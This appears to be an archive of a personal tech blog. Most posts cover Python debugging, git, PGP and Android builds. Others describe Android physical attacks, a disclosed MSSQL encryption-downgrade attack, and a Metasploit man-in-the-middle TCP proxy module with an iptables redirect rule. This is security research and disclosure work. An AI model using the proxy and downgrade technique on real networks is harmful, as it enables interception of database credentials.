Let's be honest, the current state of Android "physical" security is pretty bad. But nevertheless there is one scenario in which you have pretty good chances against an attacker.

Prerequisites: locked bootloader, no custom recovery, encrypted phone, no adb, strong PIN/password

In this case the phone would be pretty secure. He cannot launch any network based attacks since hopefully TLS will protect most critical communication. An attacker cannot execute code unless he unlocks the bootloader first. Unlocking the bootloader will hopefully wipe your user data. So the only successful attack is recovering data from the RAM using a FROST style cold boot attack. Android apps dealing with sensitive data such as account credentials, tokens or crypto keys in any form, should flush them back to disk and from memory once the screen is locked. Another possibility would be to obfuscate such critical data inside the RAM, although this should be considered as a defense in depth strategy.

The first thing you should do when you get a lost phone back, is to factory reset the device, unlock the bootloader flash a new operating system, then relock the bootloader and hope that there is no rootkit hidden in the bootloader of the device (or somewhere else).

You are not necessarily bound to the original device firmware if your bootloader supports relocking with an arbitrary kernel image. Flashing a custom recovery usually leaves your device wide open, so you should only boot it directly via fastboot if you need the functionality of a custom recovery. In most cases it should be possible without flashing the recovery. Unfortunately no custom recovery that I know of supports any kind of authentication.

If you do a lot of development and constantly leave your device with adb enabled you could use the AdbSecure [14] app, which will disable adb when the screen is locked and enable it once the screen is unlocked. Note that since Android version 4.2 there is a property called "ro.adb.secure", which requires every "debugging device" to authenticate using an RSA key. The fingerprint of the key must be confirmed on the device and is saved during first debug attempt and checked the next time. This prevents that unkown devices get access to USB debugging without the screen unlock code. This means that you don't need something like AdbSecure, on devices that support it.

But now I leave the details of how to secure a device to another blog post ;)

For performing some of the attacks check out the work done by theKos, his "phone-to-phone adb" framework [16], a presentation [15] and this hak5 video [17]. The "raider backup tool" implements similar functionality [18]. FROST has also been released here [13].

Update 2013-11-19

Check out this awesome talk: https://www.youtube.com/watch?v=RHaxn1TzU3g

In short, what they did is to look at multiplexers in modern phones, which allow different kinds of signals be transmitted over one single wire/plug. One example would be USB on-the-go, which allows a device to act both as USB host and device. Another example they gave was the USB over the head-phone jack that small mp3-players such as this tiny Apple iPod (shuffle?) do.

They discovered that some Samsung phones multiplex a UART interface onto the USB plug. So with the right gear you can get the device to talk via UART with you and you get dropped into a small in-kernel debugger or a shell depending on the phone.

This is like a huge and crazy security risk, since you have nearly no control over it, except for mitigating on the software side... if you know about it that is.

[1]	http://f0rki.at/static/slides/evil-maid-on-droids_f0rki_hackingnight-2012-12-06.pdf

[2]	(1, 2) http://static.usenix.org/events/woot10/tech/full_papers/Aviv.pdf

[3]	http://www.sourceconference.com/publications/bos12pubs/android-modding-source.pdf

[4]	http://tjworld.net/wiki/Android/HTC/Vision/BootProcess

[5]	http://mitmproxy.org/

[6]	http://www.uni-ulm.de/en/in/mi/staff/koenings/catching-authtokens.html

[7]	https://blog.duosecurity.com/2013/02/bypassing-googles-two-factor-authentication/

[8]	http://source.android.com/devices/tech/encryption/android_crypto_implementation.html

[9]	http://en.wikipedia.org/wiki/Key_stretching

[10]	http://en.wikipedia.org/wiki/PBKDF2

[11]	http://hashcat.net/forum/thread-2270-post-13608.html

[12]	http://www1.cs.fau.de/filepool/projects/frost/frost.pdfa

[13]	(1, 2) https://www1.informatik.uni-erlangen.de/frost

[14]	https://play.google.com/store/apps/details?id=com.stericson.adbSecure

[15]	http://kyleosborn.com/android/AndroidPhySec.pdf

[16]	https://github.com/kosborn/p2p-adb/

[17]	https://www.youtube.com/watch?v=ah7DWawLax8

[18]	https://code.google.com/p/raider-android-backup-tool/

Hunting Memory Leaks in Python

2013-08-31T00:00:00+02:00

The first thing you might say: "Memory leaks in python? What the hell are you talking about? Python has garbage collection. How is this possible? I don't have to care about memory management!" Well you don't. Until your python project blows up directly into your face because it eats up more and more memory, and you have no idea why. As you might know the garbage collector can only free unreferenced objects and if you allocate lot's of objects and keep references to unused objects, those objects won't be garbage collected. This doesn't sound so bad, but it's easy to forget about a reference to an object somewhere in a list or a dictionary.

Such memory leaks are unfortunate if it is a type of program that batch-processes a lot of files at once or possibly runs a long time without being restarted (i.e. a server). Well recently I was challenged with the first type. Batch processing a lot of files. With some shell voodoo magic (find -exec) you could possibly workaround the memory-leaking program, but that's not a solution. This blog post consists of short descriptions of the tools I encountered and used during my hunt for the memory leak.

So let's start hunting this memory leak.

The Python Debugger

Most of the time it is sufficient to print()-debug smaller python scripts, but in my case I needed something more powerful: pdb. Of course python has a debugger included. The look and feel of pdb is like a mixture of the python shell and gdb. To start the python debugger from within a python program use

import pdb
pdb.set_trace()

and you are dropped into the pdb shell in the current context. Of course pdb also supports breakpoints and all the debugger features you would expect. Check out this link for a tutorial on pdb pdbpymotw. Also I have this cheatsheet on the wall in front of me, in case I forget something pdbcheatsheet.

So that's a good start to inspect the internals of you python program, but we need something more specialized for inspecting the memory usage of a program. The two tools I found useful are guppy/heapy and the memory_profiler module, as suggested on Stack Overflow memprofilerso.

The memory_profiler Module

Let's talk about memory_profiler pymemoryprofiler first. This module allows us to get a line by line memory usage, by using a simple decorator.

from memory_profiler import profile

@profile
def do_something(a, b, c):
    y = [1, 2, 3] * (2 ** 18)
    x = [b.lower() + "-" + str(t) for t in range(a)]
    del y
    x = [b.lower() + "-" + str(t) for t in xrange(a)]
    z = x[::2]
    del x
    return z[c]

do_something((2**16), "omgwtf-", 5)

which will result in the following output:

Line #    Mem usage    Increment   Line Contents
================================================
     3                             @profile
     4     8.746 MB     0.000 MB   def do_something(a, b, c):
     5    14.750 MB     6.004 MB       y = [1, 2, 3] * (2 ** 18)
     6    22.328 MB     7.578 MB       x = [b.lower() + "-" + str(t) for t in range(a)]
     7    16.324 MB    -6.004 MB       del y
     8    22.973 MB     6.648 MB       x = [b.lower() + "-" + str(t) for t in xrange(a)]
     9    22.973 MB     0.000 MB       z = x[::2]
    10    22.973 MB     0.000 MB       del x
    11    22.973 MB     0.000 MB       return z[c]

So you can easily spot which parts of your code require the most memory and where the memory is allocated. This is a good starting point, but the information you get is not always sufficient to spot the leak. In my opinion the info you get if the function is called repeatedly is not that valuable.

Another feature from memory_profiler I think is very useful is the memory_usage function. It allows to gather the memory usage of a process at a certain point of time or over over a certain amount of time at specific intervals. This is especially useful to monitor subprocesses or monitoring other processes if you use multiprocessing. To get the current memory usage of the process

from memory_profiler import memory_usage
print("current memory usage:", memory_usage(-1)[0])

So to get a first overview of the memory usage of the process I included code that called memory_usage at several points in the code and logged it, so that I could grep out the memory usage afterwards.

To monitor another process (in this case my firefox) over a period of 5 seconds and get the memory usage every 0.5 seconds.

>>> usage = memory_usage(pid, interval=0.5, timeout=5)
>>> print(usage)
[2280.01171875, 2280.01171875, 2280.01171875, 2280.5234375, 2293.6015625, 2299.43359375, 2334.91796875, 2163.0078125, 2191.03515625, 2196.421875]

An optional but highly recommended dependency of memory_profiler is psutil. You might want to check out this module if you want to monitor other resources as well psutilmodule.

guppy/heapy

As I found memory_profiler useful to get information on where and when a lot memory is allocated. It can't really tell us what is using the memory. For inspecting this I used the heapy module from the guppy package. I highly recommend to check out this tutorial for heapy heapytutorial.

guppy/heapy didn't work out of the box on my arch linux box with python 2.7, so I installed the latest trunk version using pip

pip install https://guppy-pe.svn.sourceforge.net/svnroot/guppy-pe/trunk/guppy

So to inspect the python heap I added something like the following in my code

hp = hpy()
print(hp.heap())
pdb.set_trace()

so that I could also play around with heapy a little bit more using the pdb shell. Check out the heapy documentation for more information.

What about C extensions?

It seems that heapy cannot access python types from third party libraries that are implemented in C. This is really unfortunate (at least in my case). So what do we do now? Back to good old valgrind :)

massive heap inspection with: massif

valgrind comes with a tool called "massif" which logs the callgraph for each allocation on the heap. When looking at the massif output we can differantiate between two cases. If we see a lot of malloc() calls, it's probably the extension itself that's leaking memory and we can hunt down the leak with the valgrind Memcheck tool. But if we see pythons internal allocator calls, we are probably dealing with a leak in the python part of our code. This is because we deal with a python type implemented in the C extension, which is referenced somewhere in python code. So my primary goal was to find out "what?" uses a lot of memory. Unfortunately valgrind doesn't really help in this case, as you can't see were the calls are originating.

Conclusion

In my case the hunt for the memory leak was unsucessful, although I think the culprit is SQLAlchemy. Anyway most of the time it is enough to monitor, when memory usage rises to identify the culprit. Another hint is too enable debug output for the garbage collector. You might get some useful information out there. So anyway although the tools are not great, they are good enough to solve the occasional memory leak problem in python.

Key Transition 2013

2013-06-16T00:00:00+02:00

Today I sent my old OpenPGP key to retirement. I have been really sloppy with this key. I never changed my encryption subkey and signed everything with the master key. With the new key I'll store the master key offline and will sign/encrypt with subkeys, which I'll rotate much more frequent. Currently I'm thinking once or twice a year.

Transition statement from my old key can be found here: transition statement

The new key is:

4096R/0xBCFEF3D1E4BC65A1 2013-06-16 [expires: 2016-06-15]
Key fingerprint = ECC5 1F7E DA2A 3E35 807B  CF42 BCFE F3D1 E4BC 65A1

Useful Resources

I found those websites useful while transitioning between my key.

Step by step for creating a offline master key with encryption and signing subkeys. http://wiki.debian.org/subkeys

General OpenPGP best practices https://we.riseup.net/riseuplabs+paow/openpgp-best-practices

Update: Another useful blog post about setting up a keypair with gnupg https://alexcabal.com/creating-the-perfect-gpg-keypair/

Mini Git Tutorial

2013-04-04T00:00:00+02:00

Okay I decided to copy & paste some basic git commands and add some short descriptions, so that people who never used git before but have used svn can get a basic workflow running. (So I can tell people I work with: "read this to get started. If you need to know more: try other tutorials")

First Steps

So getting a repository over ssh is as easy as.

git clone git@example.com:repository.git

It's called clone, because git always fetches the whole repository and not just a single version like svn.

You need to set up you name and e-mail address for commiting stuff. You can change it per repository with this commands or in (./.git/config).

git config user.name "Firstname Lastname"
git config user.email "firstname.lastname@example.com"

For global configuration (~/.gitconfig) use:

git config --global ...

Basic Workflow

To get all new changes from repository:

git pull

Then you work on your files. The you are to commit those changes. To commit a file you need to explicitly mark it to be commited (git calls this staging).

git add $new_or_changed_files

To reset what you will commit (unstage in git language) use the following command.

git reset

Finally you will commit your changes.

git commit

To commit all changed files use the following command:

git commit -a

Commits in git are created locally, so nobody but you can access that commit. You need to push your commits back to the server:

git push

Interesting Commands

To view the status of the current files (staged, not staged, changed, etc.)

git status

To view the difference between the current files and the last commit in diff format use:

git diff

For viewing the last commits and their commit messages.

git log

Branching

Branches in git are awesome! Fast branching, merging, etc.

# create new local branch
git branch mynewbranch
git checkout mynewbranch
# make changes and commit new stuff
git add $newstuff
git commit
# push local branch to remote location
git push origin mynewbranch

Switching between branches is easy:

git checkout master
git checkout mynewbranch

Retrieve changes from another branch

You can get the changes of one commit in another branch by using the cherry-pick command. First you locate the commit hash (git commits are identifeid by their hashes) by usin git log for example.

git cherry-pick *commit_hash*

You can pull changes from another remote branch by using the git pull command:

git checkout mybranch
git pull origin master

If you work on a local feature branch for example, it's probably better you use the rebase command to apply your changes, i.e. all commits in your local branch on top of the commits of another branch. Think of it as branching from that other branch again, and adding all your commits on top of it.

git checkout mybranch
git rebase master

More Info

git man pages http://book.git-scm.com/ http://help.github.com/remotes/

Clients

I recommend to use the command line tools with *nix. gitk is nice to view the history.

Unfortunately I don't know much about Windows clients. Maybe I'll add someting sometime.

Errata

Check out this git cheat sheet: http://ndpsoftware.com/git-cheatsheet.html

Building Android on Arch Linux x86_64

2012-10-13T00:00:00+02:00

So it turns out building Android on Arch isn't quite that straight forward, but it is not impossible. There are some guides out there, but none of them is really complete. So here are my steps to get the building started.

First of all you need to enable multilib, if you haven't already [1]. Also you will have to get some stuff from AUR [2]. I use the yaourt wrapper to install AUR packages.

Obviously you should have the android-sdk stuff installed. Also take a look at the relevant page in the archlinux wiki [3].

yaourt -S android-sdk android-sdk-platform-tools android-udev repo

Get the following packages:

yaourt -S git gnupg flex bison gperf sdl wxgtk squashfs-tools zip curl ncurses zlib schedtool zip unzip

And some other packages from multilib:

yaourt -S lib32-zlib lib32-ncurses lib32-readline gcc-libs-multilib gcc-multilib lib32-gcc-libs

I found one guide [5], which suggests downgrading perl, git and make to match the versions suggested by Google/shipped with Ubuntu. This is not required. Latest git and make from arch repositories work just fine. But you have to install the perl-switch packages to get back the switch statement in perl, which is used in some scripts:

yaourt -S perl-switch

The next step is to get java. You can try to build android with openjdk6 or use the Oracle JDK. The openjdk6 package in arch repository unfortunately conflicts with jdk7-openjdk. So if you want to keep Java 7, you can install Oracle Java 6 from AUR:

yaourt -S jre6-compat jdk6-compat

To use the installed jdk6 you can use a script that is provided with the packages: "/opt/sun-java6/envsetup.sh" Update: I just noticed that this isn't provided (anymore). You need to do this manually.

Now you have everything installed for building Android.

The next problem you will encounter is that the Android build tools require that /usr/bin/python symlinks to python version 2.X. Most guides suggest changing the symlink for building android and then changing it back [3] [5]. I think this is dangerous, because it could seriously break other stuff. So I wouldn't do this if it is a daily used system. Instead I created a directory with a symlink to python2 and put this directory in $PATH, before the regular $PATH.

mkdir /opt/android-build
cd /opt/android-build
ln -s `which python2` python
export PATH="/opt/android-build:$PATH"

So now it's like we have python2 installed

$ python -V
Python 2.7.3

Finally I wrote a special bash .profile file for building Android:

android-build-env () {
    echo "Setting up \$PATH"
    # Android tools
    export PATH="/opt/android-sdk/tools:/opt/android-sdk/platform-tools:/opt/android-build:$PATH"

    # Java6
    export J2SDKDIR=/opt/java6
    export PATH=/opt/java6/bin:/opt/java6/db/bin:$PATH
    export JAVA_HOME=/opt/java6
    export DERBY_HOME=/opt/java6/db

    # CCACHE
    export USE_CCACHE=1

    echo "Changing directory"
    if [ "$1" == "cm" ]; then
        cd $CMSRCDIR
        export PATH="$CMSRCDIR/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin/:$PATH"
    else
        cd $AOSPSRCDIR
        export PATH="$AOSPSRCDIR/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin/:$PATH"
    fi

    export ARCH=arm
    export SUBARCH=arm
    export CROSS_COMPILE=arm-eabi-

    echo "Including android build source"
    export CCACHE_DIR=./.ccache
    # hmmm not enough space :( for such a big cache... let's leave default
    #./prebuilts/misc/linux-x86/ccache/ccache -M 50G
    . build/envsetup.sh

    # reading for building androids
    #clear
    echo
    if [ "$1" == "cm" ]; then
        echo "### CM10 Build Environment ###"
    else
        echo "### AOSP Build Environment ###"
    fi
    echo
}

I hope I didn't forget anything here. Please tell me if there's something missing.

References:

[1]	https://wiki.archlinux.org/index.php/Arch64_FAQ#Multilib_Repository_-_Multilib_Project

[2]	https://wiki.archlinux.org/index.php/AUR

[3]	(1, 2) https://wiki.archlinux.org/index.php/Android#Building_Android

[4]	http://codenameandroid.com/how-to-setting-up-a-linux-development-environment/

[5]	(1, 2) http://rootzwiki.com/topic/9287-how-to-setup-android-build-environment-on-arch-linux-64bit/

[6]	http://rootzwiki.com/topic/9287-how-to-setup-android-build-environment-on-arch-linux-64bit/page__st__60#entry854543

[7]	http://forum.xda-developers.com/showpost.php?p=30998147&postcount=17

Did you know about Python?

2012-02-22T00:00:00+01:00

Well this is so neat, that I have to share it here. :) So today I learned something fancy about python. Some more syntactic sugar. Oh I know why I code most of my stuff in python. So let's assume we define a function like this:

>>> def func(a, b, c):
...     print(a, b, c)

And we have a list of arguments (for whatever reason), which we like to pass to the function.

>>> alist = [1, 2, 3]
>>> func(alist[0], alist[1], alist[2])
1 2 3

Well this is annoying, but fortunately python has some syntactic sugar :)

>>> func(*alist)
1 2 3

The list has to contain exactly the number of arguments.

This looks similar to the definition of function with a variable number of parameters:

>>> def func(a, b, c, *args):
...     print(a, b, c, args)

Small Update: this also works with dicts!

>>> def func(a=-1, b=-2, c=-3):
...     print(a, b, c)
>>> d = {"a": 1, "b": 2, "c": 3}
>>> func(**d)
1 2 3

Neat isn't it?

Microsoft SQL Server Downgrade Attack

2011-12-25T00:00:00+01:00

I took a look at the authentication mechanisms of the native network protocols of some of the more prominent dbms vendors. One of my targets was Microsofts SQL Server 2008 R2. MSSQL provides two methods for authentication: Integrated and Native Authentication. Integrated uses Windows OS user credentials to log into the database. Native Authentication uses login credentials stored inside the SQL Server.

MSSQL uses the Tabular DataStream protocol on the application layer. The specification is open for everyone to see at mssqlspec. Native Authentication is done inside the TDS protocol. So let's take a look at that.

Native Authentication

TDS uses no challenge-response-protocol to transmit the login credentials. There is a message called LOGIN7, which contains username in cleartext and an obfuscated version of the password. The obfuscation algorithm is known and described in the specification. So it's actually cleartext. So I thought: "Nice! Easy sniffing.". Let's have a look at typical login traffic in wireshark:

As you can see there is no LOGIN7 packet, which should be decoded by wireshark. But if we have a closer look at the transmitted packets, we discover SSLish patterns (like the "SSL Self Signed Fallback" certificate). Digging deeper into the specification, I found out, that Microsoft does something very strange here. They use SSL inside their application layer protocol. The whole SSL handshake is wrapped inside those PRELOGIN packets. Wireshark let's us decode the login traffic as SSL and we can see that packet number 10 can be decoded now as "SSL Application Data" record.

So we can't really look into this SSL mess. Which sucks. So my first guess was to do the usual SSL MITM, serving a fake certificates. It turns out, this is pretty annoying to code, because of the handshake inside PRELOGIN thing. Maybe I'll hack something together another time. Fortunately it turns out, there is an easier way :)

First PRELOGIN

The first packet, a PRELOGIN packet, is sent by the client to the server. The server answers with another packet of the same kind. It contains several fields to ensure compatibility, such as version, instance name and encryption :)

The possible values for the ENCRYPTION field are the following:

ENCRYPT_OFF	0x00	Encryption available but off.
ENCRYPT_ON	0x01	Encryption is available and on.
ENCRYPT_NOT_SUP	0x02	Encryption is not available.
ENCRYPT_REQ	0x03	Encryption is required.

This values can be configured on the client and server. Default for both is ENCRYPT_OFF, which means that only the LOGIN7 packet is encrypted. One can force Encryption of the whole connection on the client and server.

It is specified how the client/server react to the value of the encryption field the other one sends:

	Server Setting:
Client Sends:	ENCRYPT_OFF	ENCRYPT_ON	ENCRYPT_NOT_SUP
ENCRYPT_OFF	ENCRYPT_OFF	ENCRYPT_REQ	ENCRYPT_NOT_SUP
ENCRYPT_ON	ENCRYPT_ON	ENCRYPT_ON	ENCRYPT_NOT_SUP (connection terminated)
ENCRYPT_NOT_SUP	ENCRYPT_NOT_SUP	ENCRYPT_REQ (connection terminated)	ENCRYPT_NOT_SUP

So a Client cannot differntiate between a server, which does not support encryption at all, and a server which accepts a connection from a client not supporting encryption.

Downgrade Attack

So let's assume we are able to do a MITM attack and are able to modify the traffic passing through us. So we can just change the value of the encryption field to ENCRYPT_NOT_SUP and we get a plaintext LOGIN7 packet. Yay :) I implemented this as some ugly scapy code, but also as a fancy metasploit module. Using this attack we can see something like this in wireshark:

You can download the metasploit module here: mssql_auth_downgrade.rb and a little script I used to prepare my MITM attack: mssql_mitm_prepare.sh

Disclosure & Mitigation

So I told Microsoft about this flaw in september and they told me the following:

Please note that SQL Server does not offer an option to enforce encryption of only the login packet (a.k.a. username & password), and at this point we have no plans to introduce such option.

Ok so no plans to change something here. So I guess the best option is to use the Force Encryption option of your server and clients to encrypt the whole connection or switch to integrated authentication, which is Microsofts recomendation anyway.

TCP Proxy for MITM Attacks in Metasploit

2011-11-20T00:00:00+01:00

Some time ago I wrote my first metasploit module and therefore had to play around with ruby. The metasploit module I wrote implements a man-in-the-middle attack on an application layer protocol. So my module is both TCP Server and Client and therefore I like to call it TCP Proxy.

Coming from a python background ruby was kind of strange at the beginning. I still don't know what to think of ruby. Some things are pretty cool, while other just seem weird. Anyway that's not the topic today.

Implementing such a TCP Proxy with the mixins, which the metasploit framework provides, is quite easy... If you know your way around ruby, which I don't. Anyway here's the code so that you can see for yourself how I managed to get this to run. I used the Tcp and the TcpServer server mixins. The TcpServer mixin opens a listen port. When a client connects, I let the Tcp mixin connect to the real server and receive data from the client, send it to the server and then back. In the middle I can inspect or modify the data.

# Copyright (c) 2012, Michael Rodler (contact@f0rki.at)
#
#   Redistribution and use in source and binary forms, with or without
#   modification, are permitted provided that the following conditions are met:
#
#   1. Redistributions of source code must retain the above copyright notice, this
#      list of conditions and the following disclaimer.
#
#   2. Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
#       THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
#       AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
#       IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#       ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
#       LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
#       CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
#       SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
#       INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
#       CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
#       ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#       POSSIBILITY OF SUCH DAMAGE.


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        # mixin Tcp
        include Msf::Exploit::Remote::Tcp
        # create alias methods
        alias_method :cleanup_tcp, :cleanup
        alias_method :run_tcp, :run
        # mixin TcpServer
        include Msf::Exploit::Remote::TcpServer
        # create alias methods
        alias_method :cleanup_tcpserver, :cleanup
        alias_method :run_tcpserver, :run
        alias_method :exploit_tcpserver, :exploit


        def initialize(info = {})
                super(update_info(info,))

                # in my case I didn't need this SSL stuff
                deregister_options('SSL', 'SSLCert', 'SSLVersion', 'RPORT')

                register_options(
                        [
                                OptPort.new('SRVPORT', [ true, "", 0 ]),
                                OptString.new('SRVHOST', [ true, "Local listen address", "0.0.0.0" ]),
                                OptString.new('RHOST', [ true, "", "0.0.0.0" ]),
                        ], self.class)

                #
                datastore["RPORT"] = datastore["SRVPORT"]
        end


        # run tcp server, i.e. start listening port
        def run
                exploit_tcpserver
        end
        alias_method :exploit, :run

        # cleanup method, which calls both Tcp and TcpServer cleanup
        def cleanup
                cleanup_tcp()
                cleanup_tcpserver()
        end

        # client connected, so we let the Tcp mixin connect
        def on_client_connect(client)
                print_status("client connected " + client.peerinfo())
                connect()
        end

        # client disconnected, so we let the Tcp mixin disconnect
        def on_client_close(client)
                print_status("client disconnected " + client.peerinfo())
                disconnect()
        end

        def on_client_data(client)
                begin
                        # receive from client
                        data = client.get_once()
                        return if data.nil? or data.length == 0

                        ### do something evil with the tcp data here

                        # send data to server
                        sock.send(data, 0)
                        # receive data from server
                        respdata = sock.get_once()
                        return if respdata.nil? or respdata.length == 0

                        ### do something evil with the tcp data here

                        # send data back to client
                        client.put(respdata)
                rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
                rescue ::Exception
                        print_status("Error: #{$!.class} #{$!} #{$!.backtrace}")
                end
        end


end

src

But assuming that we do a mitm attack (like arpspoofing in my case) we get a packet which is not directed at one of our own IP addresses. We can circumvent this by either configuring the IP address on our system or use the firewall to redirect the packet to our own machine:

$ iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 80

If you know how to improve this PLEASE contect me via mail/twitter/whatever. If you are the metasploit/ruby guru and still can't think of a better way, also let me know ;).